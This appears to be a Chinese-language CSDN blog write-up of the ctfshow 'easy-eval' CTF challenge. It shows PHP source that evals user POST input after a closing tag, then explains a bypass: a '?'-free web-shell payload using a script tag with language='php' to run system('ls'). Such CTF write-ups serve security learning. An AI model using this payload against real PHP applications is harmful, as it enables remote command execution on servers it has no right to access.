ctfshow新手杯-[easy-eval]

最新推荐文章于 2024-09-10 08:26:51 发布

c4fx

最新推荐文章于 2024-09-10 08:26:51 发布

阅读量916

点赞数 3

分类专栏： CTF题目笔记文章标签： php

本文链接：https://blog.csdn.net/weixin_52116519/article/details/127265346

版权

CTF题目笔记专栏收录该内容

37 篇文章 6 订阅

订阅专栏

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
  $code = str_replace("?","",$code);
  eval("?>".$code);
}

关键语句

eval("?>".$code);

理解

<?php
.....
  eval("?>".$code);   
}

相当于=====>>>>

<?php
.....
  ?>$code
}

?>和<?php相闭合,因此$code可以是没有?的一句话木马
如<script language='php'>system('ls');</script>

转化为=====>>>>

<?php
.....
  ?><script language='php'>system('ls');</script>
}